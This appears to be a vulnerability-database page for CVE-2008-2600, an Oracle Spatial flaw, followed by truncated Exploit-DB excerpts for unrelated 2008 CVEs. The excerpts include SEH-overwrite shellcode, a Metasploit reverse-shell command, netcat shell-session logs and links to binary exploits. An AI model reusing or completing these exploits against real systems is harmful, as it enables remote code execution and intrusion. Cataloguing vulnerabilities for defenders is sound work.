CVE-2008-2600
published 2008-07-15CVE-2008-2600: Unspecified vulnerability in the Oracle Spatial component in Oracle Database 10.1.0.5, 10.2.0.3, and 11.1.0.6 has unknown impact and remote authenticated…
PriorityP423medium6.5CVSS 2.0
AVNACLAuSCPIPAP
EPSS
1.37%
68.9th percentile
Unspecified vulnerability in the Oracle Spatial component in Oracle Database 10.1.0.5, 10.2.0.3, and 11.1.0.6 has unknown impact and remote authenticated attack vectors related to MDSYS.SDO_TOPO_MAP.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| oracle | database_server | — | — |
| oracle | database_server | — | — |
| oracle | oracle_database | — | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
SasCam WebCam Server 2.6.5 - ActiveX Overwrite (SEH)
exploitdb·2010-07-03
CVE-2008-6898 SasCam WebCam Server 2.6.5 - ActiveX Overwrite (SEH)
SasCam WebCam Server 2.6.5 - ActiveX Overwrite (SEH)
---
'SEH Overwrite exploited by Blake
'Original EIP method by callAX
'Tested on XP SP3/IE7 in virtualbox
'$ nc 192.168.1.155 4444
'Microsoft Windows XP [Version 5.1.2600]
'(C) Copyright 1985-2001 Microsoft Corp.
'
'C:\Documents and Settings\blake\Desktop>
buffer = String(8349, "A")
nseh = unescape("%eb%06%90%90") ' short jump
seh = unescape("%4E%20%D1%72") ' 0x72D1204E [msacm32.drv]
nops = String(20, unescape("%90")) ' nop sled
junk = String(2000, "C")
sc = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
unescape("%56%58%3
Exploit-DB
VideoLAN VLC Media Player 0.9.4 - '.ty' Local Buffer Overflow (SEH)
exploitdb·2008-10-23
CVE-2008-4686 VideoLAN VLC Media Player 0.9.4 - '.ty' Local Buffer Overflow (SEH)
VideoLAN VLC Media Player 0.9.4 - '.ty' Local Buffer Overflow (SEH)
---
#!/usr/bin/perl
# 10/23/2008 k`sOSe
# Rewritten VLC 0.9.4 .TY File Buffer Overflow Exploit
# 1 - Works on Windows XP SP1, SP2, SP3 (and probably win2k)
# 2 - Works both with a local file and with a remote url
# 3 - VLC do not crash!
# 4 - Enjoy a respawing shell, even if VLC will be closed!
#
# bUGGEd htdocs # nc -l -p 443
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# e:\Program Files\VideoLAN\VLC>exit
# exit
# bUGGEd htdocs # nc -l -p 443
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# e:\Program Files\VideoLAN\VLC>exit
# exit
# bUGGEd htdocs # nc -l -p 443
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft C
Exploit-DB
Microsoft Windows - InternalOpenColorProfile Heap Overflow (PoC) (MS08-046)
exploitdb·2008-10-12
CVE-2008-2245 Microsoft Windows - InternalOpenColorProfile Heap Overflow (PoC) (MS08-046)
Microsoft Windows - InternalOpenColorProfile Heap Overflow (PoC) (MS08-046)
---
EMR_SETICMPROFILEA Heap Overflow DOS
By Ac!dDrop
related to MS08-046
Tested on windows Xp professional Sp2
mscms.dll 5.1.2600.2709
gdi32.dll 5.1.2600.2818
Causes Windows explorer and Internet explorer to crash.
You can run arbitary code.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6732.rar (2008-emf_MS08-046.rar)
# milw0rm.com [2008-10-12]
Exploit-DB
Microsoft Windows - GDI (EMR_COLORMATCHTOTARGETW) (MS08-021)
exploitdb·2008-10-02
CVE-2008-1087 Microsoft Windows - GDI (EMR_COLORMATCHTOTARGETW) (MS08-021)
Microsoft Windows - GDI (EMR_COLORMATCHTOTARGETW) (MS08-021)
---
EMR_COLORMATCHTOTARGETW stack buffer overflow exploit
By Ac!dDrop
This is one of the 2 Vulnerabilities of MS08-021
Tested on Windows xp professional SP1
GDi32.dll 5.1.2600.1106
kernel32.dll 5.1.2600.1106
ws2_32.dll 5.1.2600.0
calc.zip---> executes calculator
IE.zip and localhost.zip ------> connects at localhost at port 230
On Windows Xp Sp2 only causes Denial of service.
-(Vulnerable function guarded with a GS cookie)
-(The function which copies data to stack has an exception handler which recovers from access violations so u cant exploit it by hitting next page ).
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6656.tgz (2008-Gdi.tgz)
# milw0rm.com [2008-10-02]
Exploit-DB
CitectSCADA ODBC Server - Remote Stack Buffer Overflow (Metasploit)
exploitdb·2008-09-05·CVSS 7.6
CVE-2008-2639 [HIGH] CitectSCADA ODBC Server - Remote Stack Buffer Overflow (Metasploit)
CitectSCADA ODBC Server - Remote Stack Buffer Overflow (Metasploit)
---
##
# $Id: citect_scada_odbc.rb
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
#
#
# msfcli exploit/windows/misc/citect_scada_odbc RHOST=192.168.2.45 PAYLOAD=windows/shell/reverse_ord_tcp LHOST=192.168.2.101 TARGET=2 E
# [*] Started reverse handler
# ...
# [*] Sending stage (474 bytes)
# [*] Command shell session 1 opened (192.168.2.101:4444 -> 192.168.2.45:1039)
#
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Program Files\Citect\CitectSCADA\Bin>
#
# Arbi
Exploit-DB
Microsoft Windows - GDI (CreateDIBPatternBrushPt) Heap Overflow (PoC)
exploitdb·2008-08-29
CVE-2008-1083 Microsoft Windows - GDI (CreateDIBPatternBrushPt) Heap Overflow (PoC)
Microsoft Windows - GDI (CreateDIBPatternBrushPt) Heap Overflow (PoC)
---
CreateDIBPatternBrushPt Heap Overflow DOS
By Ac!dDrop
This was tested on
Windows XP Sp2
GDI32.dll 5.1.2600.3099
Internet explorer 6.0.2900.2180
Causes Explorer.exe to crash.
and causes Internet explorer to close silently.
This is work in progress , i am still trying to make it run arbitary code.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6330.rar (2008-EMF_DOS.rar)
# milw0rm.com [2008-08-29]
Exploit-DB
VideoLAN VLC Media Player 0.8.6d SSA Parsing Double Sh311 - Universal
exploitdb·2008-05-23·CVSS 7.5
CVE-2008-1881 [HIGH] VideoLAN VLC Media Player 0.8.6d SSA Parsing Double Sh311 - Universal
VideoLAN VLC Media Player 0.8.6d SSA Parsing Double Sh311 - Universal
---
#!/usr/bin/python
#
# VLC 0.8.6d Double Sh311 Universal Exploit
# CVE-2007-6681
# Vulnerability Discovered by Michal Luczaj
#
# Coded by Muris Kurgas aka j0rgan http://www.jorgan.users.cg.yu/
# and
# Matteo Memelli aka ryujin http://www.be4mind.com - http://www.gray-world.net
# WE CODED IT JUST FOR FUN ;)
# Cheers to #offsec and all our firends :) and prelate_ hehe
#-----------------------------------------------------------------------------
#
# FIRST SHELL -> NORMAL RET OVERWRITE -> WE OWN EIP
#
# matte@badrobot:~$ telnet 192.168.1.245 4444
# Trying 192.168.1.245...
# Connected to 192.168.1.245.
# Escape character is '^]'.
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\
Exploit-DB
Quick TFTP Server Pro 2.1 - Remote Overflow (SEH)
exploitdb·2008-03-26
CVE-2008-1610 Quick TFTP Server Pro 2.1 - Remote Overflow (SEH)
Quick TFTP Server Pro 2.1 - Remote Overflow (SEH)
---
#!/usr/bin/python
# Quick TFTP Pro 2.1 SEH Overflow (0day)
# Tested on Windows XP SP2.
# Coded by Mati Aharoni
# muts..at..offensive-security.com
# http://www.offensive-security.com/0day/quick-tftp-poc.py.txt
#########################################################
# bt ~ # quickftp.py
# [*] Quick TFTP Pro 2.1 SEH Overflow (0day)
# [*] http://www.offensive-security.com
# [*] Sending evil packet, ph33r
# [*] Check port 4444 for bindshell
# bt ~ # nc -v 172.16.167.130 4444
# (UNKNOWN) [172.16.167.130] 4444 (krb524) open
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Documents and Settings\Administrator>
##########################################################
import socket
import sys
print
No writeups or analysis indexed.
http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c00727143http://secunia.com/advisories/31087http://secunia.com/advisories/31113http://www.oracle.com/technetwork/topics/security/cpujul2008-090335.htmlhttp://www.securitytracker.com/id?1020499http://www.vupen.com/english/advisories/2008/2109/referenceshttp://www.vupen.com/english/advisories/2008/2115http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c00727143http://secunia.com/advisories/31087http://secunia.com/advisories/31113http://www.oracle.com/technetwork/topics/security/cpujul2008-090335.htmlhttp://www.securitytracker.com/id?1020499http://www.vupen.com/english/advisories/2008/2109/referenceshttp://www.vupen.com/english/advisories/2008/2115
2008-07-15
Published